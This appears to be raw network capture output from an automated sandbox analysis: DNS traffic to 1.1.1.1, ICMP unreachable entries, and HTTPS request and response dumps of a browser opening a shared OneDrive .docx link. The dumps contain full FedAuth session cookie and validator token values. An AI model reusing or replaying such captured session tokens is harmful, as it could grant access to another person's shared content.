Dec 17, 2024 21:36:08.691721916 CET	60448	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:13.172441006 CET	53	51036	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:32.111746073 CET	53	63416	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:33.029403925 CET	53	49594	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:34.773736954 CET	60368	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:34.774142027 CET	64238	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:34.862875938 CET	55009	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:34.862992048 CET	62989	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:37.079421043 CET	51569	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:37.079639912 CET	52066	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:37.702342987 CET	49432	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:37.702567101 CET	50775	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:37.710479021 CET	64406	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:37.710716009 CET	55756	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:40.479724884 CET	56930	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:40.479918003 CET	53744	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:40.572153091 CET	56074	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:40.572376013 CET	55957	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:40.849045992 CET	53	55957	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:40.906770945 CET	53	53744	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:40.907490015 CET	53	56930	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:42.402163982 CET	56710	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:42.402295113 CET	56398	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:42.430591106 CET	51261	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:42.430778027 CET	59658	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:44.337603092 CET	50704	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:44.337903976 CET	55626	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:44.339171886 CET	58540	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:44.339371920 CET	57592	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:44.339828014 CET	61359	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:44.339986086 CET	57364	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:44.476197004 CET	53	50704	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:44.476913929 CET	53	55626	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:44.477603912 CET	53	58540	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:44.479024887 CET	53	57364	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:44.479424953 CET	53	57592	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:44.480021000 CET	53	61359	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:46.436697960 CET	63306	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:46.436846018 CET	62302	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:46.573793888 CET	53	63306	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:46.574470043 CET	53	62302	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:46.581722975 CET	59427	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:46.581871033 CET	64517	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:46.718816996 CET	53	64517	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:46.719376087 CET	53	59427	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:47.152540922 CET	53205	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:47.152782917 CET	65356	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:47.290622950 CET	53	65356	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:48.447330952 CET	49535	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:48.447480917 CET	61905	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:48.463119984 CET	56529	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:48.463390112 CET	59661	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:48.584002018 CET	53	49535	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:48.584126949 CET	53	61905	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:48.600894928 CET	53	56529	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:48.600950956 CET	53	59661	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:53.304438114 CET	53	62266	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:54.788459063 CET	53	60369	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:59.747608900 CET	60339	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:59.748141050 CET	50967	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:00.086282015 CET	53	50967	1.1.1.1	192.168.2.16
Dec 17, 2024 21:37:01.104212999 CET	138	138	192.168.2.16	192.168.2.255
Dec 17, 2024 21:37:06.365112066 CET	53555	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:06.365291119 CET	65408	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:08.704601049 CET	54159	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:08.704602003 CET	61655	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:08.704885006 CET	63654	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:08.705104113 CET	65117	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:08.843305111 CET	53	63654	1.1.1.1	192.168.2.16
Dec 17, 2024 21:37:08.843647003 CET	53	65117	1.1.1.1	192.168.2.16
Dec 17, 2024 21:37:10.612178087 CET	50499	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:10.612346888 CET	54857	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:17.784811020 CET	49764	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:17.785211086 CET	54661	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:18.142206907 CET	53	49764	1.1.1.1	192.168.2.16
Dec 17, 2024 21:37:18.142236948 CET	53	54661	1.1.1.1	192.168.2.16
Dec 17, 2024 21:37:21.572513103 CET	61842	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:21.572738886 CET	49211	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:21.573000908 CET	60459	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:21.573143005 CET	64564	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:21.711745024 CET	53	49211	1.1.1.1	192.168.2.16
Dec 17, 2024 21:37:21.717432976 CET	53	61842	1.1.1.1	192.168.2.16
Dec 17, 2024 21:37:22.015836000 CET	53	64564	1.1.1.1	192.168.2.16
Dec 17, 2024 21:37:24.087611914 CET	60016	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:24.087785959 CET	49728	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:24.224935055 CET	53	49728	1.1.1.1	192.168.2.16
Dec 17, 2024 21:37:24.285222054 CET	53	58140	1.1.1.1	192.168.2.16
Dec 17, 2024 21:37:26.209208965 CET	64370	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:26.209378958 CET	50200	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:28.972795963 CET	52719	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:28.972795963 CET	52889	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:29.110025883 CET	53	52719	1.1.1.1	192.168.2.16
Dec 17, 2024 21:37:29.110966921 CET	53	52889	1.1.1.1	192.168.2.16
Dec 17, 2024 21:37:32.032073975 CET	57549	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:32.032213926 CET	58682	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:32.056966066 CET	65413	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:32.057127953 CET	57300	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:37:32.169398069 CET	53	58682	1.1.1.1	192.168.2.16
Dec 17, 2024 21:37:32.171921015 CET	53	57549	1.1.1.1	192.168.2.16
Dec 17, 2024 21:37:32.194797993 CET	53	57300	1.1.1.1	192.168.2.16
Dec 17, 2024 21:37:48.418416977 CET	53	53330	1.1.1.1	192.168.2.16

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 17, 2024 21:36:05.477277040 CET	192.168.2.16	1.1.1.1	c2bd	(Port unreachable)	Destination Unreachable
Dec 17, 2024 21:36:08.603873014 CET	192.168.2.16	1.1.1.1	c2c6	(Port unreachable)	Destination Unreachable
Dec 17, 2024 21:36:18.590634108 CET	192.168.2.16	1.1.1.1	c2af	(Port unreachable)	Destination Unreachable
Dec 17, 2024 21:36:36.584064007 CET	192.168.2.16	1.1.1.1	c2a6	(Port unreachable)	Destination Unreachable
Dec 17, 2024 21:36:40.849133968 CET	192.168.2.16	1.1.1.1	c28b	(Port unreachable)	Destination Unreachable
Dec 17, 2024 21:36:44.125421047 CET	192.168.2.16	1.1.1.1	c2bc	(Port unreachable)	Destination Unreachable
Dec 17, 2024 21:36:45.716270924 CET	192.168.2.16	1.1.1.1	c327	(Port unreachable)	Destination Unreachable
Dec 17, 2024 21:36:58.833142042 CET	192.168.2.16	1.1.1.1	c344	(Port unreachable)	Destination Unreachable
Dec 17, 2024 21:37:00.086349964 CET	192.168.2.16	1.1.1.1	c27f	(Port unreachable)	Destination Unreachable
Dec 17, 2024 21:37:20.802459002 CET	192.168.2.16	1.1.1.1	c2a8	(Port unreachable)	Destination Unreachable
Dec 17, 2024 21:37:35.037375927 CET	192.168.2.16	1.1.1.1	c2e8	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
2024-12-17 20:35:55 UTC	765	OUT	GET /w/c/17cc1e7b64547fa0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9 HTTP/1.1 Host: 1drv.ms Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 20:35:56 UTC	846	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/:w:/g/personal/17CC1E7B64547FA0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?resid=17CC1E7B64547FA0!s05c82e1eb602468f91f67f4b0fb8fcd0&ithint=file%2cdocx&e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pXVjlvUnpiM2tkUUlORlE_ZT00OmFWdFBSaCZzaGFyaW5ndjI9dHJ1ZSZmcm9tU2hhcmU9dHJ1ZSZhdD05 X-MSNSERVER: DS1PPF587A51828 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: nqmSR8d1MkOgxcg95j2qJA.0 X-AsmVersion: UNKNOWN; 19.1556.1113.2010 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: B78AABB74FA84AAD88199B1123CA4CCD Ref B: EWR30EDGE1016 Ref C: 2024-12-17T20:35:56Z Date: Tue, 17 Dec 2024 20:35:55 GMT Connection: close Content-Length: 0

Timestamp	Bytes transferred	Direction	Data
2024-12-17 20:35:58 UTC	1061	OUT	GET /:w:/g/personal/17CC1E7B64547FA0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?resid=17CC1E7B64547FA0!s05c82e1eb602468f91f67f4b0fb8fcd0&ithint=file%2cdocx&e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pXVjlvUnpiM2tkUUlORlE_ZT00OmFWdFBSaCZzaGFyaW5ndjI9dHJ1ZSZmcm9tU2hhcmU9dHJ1ZSZhdD05 HTTP/1.1 Host: onedrive.live.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 20:35:58 UTC	4188	IN	HTTP/1.1 302 Found Cache-Control: private Content-Length: 725 Content-Type: text/html; charset=utf-8 Location: https://onedrive.live.com/personal/17cc1e7b64547fa0/_layouts/15/Doc.aspx?sourcedoc=%7B05c82e1e-b602-468f-91f6-7f4b0fb8fcd0%7D&action=default&fromShare=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pXVjlvUnpiM2tkUUlORlE_ZT00OmFWdFBSaCZzaGFyaW5ndjI9dHJ1ZSZmcm9tU2hhcmU9dHJ1ZSZhdD05&slrid=24886ea1-70e2-7000-1508-6a946bae7d0b&originalPath=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pXVjlvUnpiM2tkUUlORlE_cnRpbWU9S29nS2F0b2UzVWc&CID=dffede72-4382-4548-a4e8-d3b7d7a6a9d1&_SRM=0:G:33 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FkYzI3MDQ5YjllYmJiMjY4NjY5NTgwYjNlM2I1NzlmMWFlNDQ1YTBhZjM3ZjlmMzViYjMyODVjODgyMjQzYjQsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWRjMjcwNDliOWViYmIyNjg2Njk1ODBiM2UzYjU3OWYxYWU0NDVhMGFmMzdmOWYzNWJiMzI4NWM4ODIyNDNiNCwxMzM3ODk0MTY1ODAwMDAwMDAsMCwxMzM3OTAyNzc1ODY5NDQ4MTksMC4wLjAuMCwyNTgsOTE4ODA0MGQtNmM2Ny00YzViLWIxMTItMzZhMzA0YjY2ZGFkLCwsYzU0MDdmYjAtMTI1MS00ZjAyLWJjMmItODk2ZWMxOWUzMGY3LGM1NDA3ZmIwLTEyNTEtNGYwMi1iYzJiLTg5NmVjMTllMzBmNyxnK0pYTHF2U2hrYWxxdEVwSnpGdnVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwOTQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLEMyU0dleTBPdzlib1VqK1I5QTFVM1F1NVpiNmgvTVdGOXQwbkZTeVRlcml3QjFlVFZNYnQ4cXM1N25vTExkNjhGNFFtQ2tldVcxaGY1d0dHYjcxcStNZ0ZIajh0djR1TENNeDVPUGlienh5dXhjM1NPNk1WMmpKYmlNR3RwSkZCKzYydWhrRnNGd0NWeHNGM3BQZlNObnRRak5LYkN1bDBGUHV5ZFM2ZEVpZUZoQUxRMFVydDY3aGh2TWs1a1ZpRjVRVnBxaVBoS0tQelVuZEIxU0RWTmo4cUlGbm5mdmNkN3BLRUxyZXI2Um1xR2toWEducm5i [TRUNCATED] IsOCDI: 0 X-NetworkStatistics: 0,1051136,0,263,2709846,0,573671,61 X-SharePointHealthScore: 1 X-MS-SPO-CookieValidator: C2SGey0Ow9boUj+R9A1U3Qu5Zb6h/MWF9t0nFSyTeriwB1eTVMbt8qs57noLLd68F4QmCkeuW1hf5wGGb71q+MgFHj8tv4uLCMx5OPibzxyuxc3SO6MV2jJbiMGtpJFB+62uhkFsFwCVxsF3pPfSNntQjNKbCul0FPuydS6dEieFhALQ0Urt67hhvMk5kViF5QVpqiPhKKPzUndB1SDVNj8qIFnnfvcd7pKELrer6RmqGkhXGnrnbdY6ILBW7NwKmmlUyMotmVfOse4ksZvdxpS/jFoRiHYstNOHf76tNgQj3YbjfAaCj1OpJv2Q72ebQbYhDzao4+X9HPh/76SL9g== X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 28886ea1-901d-7000-1508-6aa461ac99c2 request-id: 28886ea1-901d-7000-1508-6aa461ac99c2 MS-CV: oW6IKB2QAHAVCGqkYayZwg.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=9188040d-6c67-4c5b-b112-36a304b66dad&destinationEndpoint=Edge-Prod-BN3r2&frontEnd=AFD&RemoteIP=8.46.123.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com app.powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 172 SPIisLatency: 4 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25520 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 7C4613893F744FF4BD1E203C4AF9BF77 Ref B: BN3EDGE0815 Ref C: 2024-12-17T20:35:58Z Date: Tue, 17 Dec 2024 20:35:58 GMT Connection: close
2024-12-17 20:35:58 UTC	725	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6f 6e 65 64 72 69 76 65 2e 6c 69 76 65 2e 63 6f 6d 2f 70 65 72 73 6f 6e 61 6c 2f 31 37 63 63 31 65 37 62 36 34 35 34 37 66 61 30 2f 5f 6c 61 79 6f 75 74 73 2f 31 35 2f 44 6f 63 2e 61 73 70 78 3f 73 6f 75 72 63 65 64 6f 63 3d 25 37 42 30 35 63 38 32 65 31 65 2d 62 36 30 32 2d 34 36 38 66 2d 39 31 66 36 2d 37 66 34 62 30 66 62 38 66 63 64 30 25 37 44 26 61 6d 70 3b 61 63 74 69 6f 6e 3d 64 65 66 61 75 6c 74 26 61 6d 70 3b 66 72 6f 6d 53 68 61 72 65 3d 74 72 75 65 26 61 6d 70 3b 72 65 64 65 Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://onedrive.live.com/personal/17cc1e7b64547fa0/_layouts/15/Doc.aspx?sourcedoc=%7B05c82e1e-b602-468f-91f6-7f4b0fb8fcd0%7D&action=default&fromShare=true&rede

Timestamp	Bytes transferred	Direction	Data
2024-12-17 20:36:00 UTC	2376	OUT	GET /personal/17cc1e7b64547fa0/_layouts/15/Doc.aspx?sourcedoc=%7B05c82e1e-b602-468f-91f6-7f4b0fb8fcd0%7D&action=default&fromShare=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pXVjlvUnpiM2tkUUlORlE_ZT00OmFWdFBSaCZzaGFyaW5ndjI9dHJ1ZSZmcm9tU2hhcmU9dHJ1ZSZhdD05&slrid=24886ea1-70e2-7000-1508-6a946bae7d0b&originalPath=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pXVjlvUnpiM2tkUUlORlE_cnRpbWU9S29nS2F0b2UzVWc&CID=dffede72-4382-4548-a4e8-d3b7d7a6a9d1&_SRM=0:G:33 HTTP/1.1 Host: onedrive.live.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FkYzI3MDQ5YjllYmJiMjY4NjY5NTgwYjNlM2I1NzlmMWFlNDQ1YTBhZjM3ZjlmMzViYjMyODVjODgyMjQzYjQsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWRjMjcwNDliOWViYmIyNjg2Njk1ODBiM2UzYjU3OWYxYWU0NDVhMGFmMzdmOWYzNWJiMzI4NWM4ODIyNDNiNCwxMzM3ODk0MTY1ODAwMDAwMDAsMCwxMzM3OTAyNzc1ODY5NDQ4MTksMC4wLjAuMCwyNTgsOTE4ODA0MGQtNmM2Ny00YzViLWIxMTItMzZhMzA0YjY2ZGFkLCwsYzU0MDdmYjAtMTI1MS00ZjAyLWJjMmItODk2ZWMxOWUzMGY3LGM1NDA3ZmIwLTEyNTEtNGYwMi1iYzJiLTg5NmVjMTllMzBmNyxnK0pYTHF2U2hrYWxxdEVwSnpGdnVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwOTQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLEMyU0dleTBPdzlib1VqK1I5QTFVM1F1NVpiNmgvTVdGOXQwbkZTeVRlcml3QjFlVFZNYnQ4cXM1N25vTExkNjhGNFFtQ2tldVcxaGY1d0dHYjcxcStNZ0ZIajh0djR1TENNeDVPUGlienh5dXhjM1NPNk1WMmpKYmlNR3RwSkZCKzYydWhrRnNGd0NWeHNGM3BQZlNObnRRak5LYkN1bDBGUHV5ZFM2ZEVpZUZoQUxRMFVydDY3aGh2TWs1a1ZpRjVRVnBxaVBoS0tQelVuZEIxU0RWTmo4cUlGbm5mdmNkN3BLRUxyZXI2Um1xR2toWEducm5iZFk2 [TRUNCATED]
2024-12-17 20:36:01 UTC	3352	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Expires: -1 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FkYzI3MDQ5YjllYmJiMjY4NjY5NTgwYjNlM2I1NzlmMWFlNDQ1YTBhZjM3ZjlmMzViYjMyODVjODgyMjQzYjQsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWRjMjcwNDliOWViYmIyNjg2Njk1ODBiM2UzYjU3OWYxYWU0NDVhMGFmMzdmOWYzNWJiMzI4NWM4ODIyNDNiNCwxMzM3ODk0MTY1ODAwMDAwMDAsMCwxMzM3OTAyNzc1ODY5NDQ4MTksMC4wLjAuMCwyNTgsOTE4ODA0MGQtNmM2Ny00YzViLWIxMTItMzZhMzA0YjY2ZGFkLCwsYzU0MDdmYjAtMTI1MS00ZjAyLWJjMmItODk2ZWMxOWUzMGY3LGM1NDA3ZmIwLTEyNTEtNGYwMi1iYzJiLTg5NmVjMTllMzBmNyxnK0pYTHF2U2hrYWxxdEVwSnpGdnVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwOTQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLEMyU0dleTBPdzlib1VqK1I5QTFVM1F1NVpiNmgvTVdGOXQwbkZTeVRlcml3QjFlVFZNYnQ4cXM1N25vTExkNjhGNFFtQ2tldVcxaGY1d0dHYjcxcStNZ0ZIajh0djR1TENNeDVPUGlienh5dXhjM1NPNk1WMmpKYmlNR3RwSkZCKzYydWhrRnNGd0NWeHNGM3BQZlNObnRRak5LYkN1bDBGUHV5ZFM2ZEVpZUZoQUxRMFVydDY3aGh2TWs1a1ZpRjVRVnBxaVBoS0tQelVuZEIxU0RWTmo4cUlGbm5mdmNkN3BLRUxyZXI2Um1xR2toWEducm5i [TRUNCATED] IsOCDI: 0 X-NetworkStatistics: 4,1051136,67,6223,2060928,1051136,1051136,61 X-SharePointHealthScore: 3 Referrer-Policy: no-referrer, strict-origin-when-cross-origin Server-Timing: LT; desc=0, RS; desc=G, RD; dur=33 X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 28886ea1-00ac-7000-62cb-bb8bcc0c0658 request-id: 28886ea1-00ac-7000-62cb-bb8bcc0c0658 MS-CV: oW6IKKwAAHBiy7uLzAwGWA.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=9188040d-6c67-4c5b-b112-36a304b66dad&destinationEndpoint=Edge-Prod-BN3r1&frontEnd=AFD&RemoteIP=8.46.123.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com app.powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25520 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 49E15978FA5B47F4A48DD67040150A70 Ref B: BN3EDGE0617 Ref C: 2024-12-17T20:36:00Z Date: Tue, 17 Dec 2024 20:35:59 GMT Connection: close
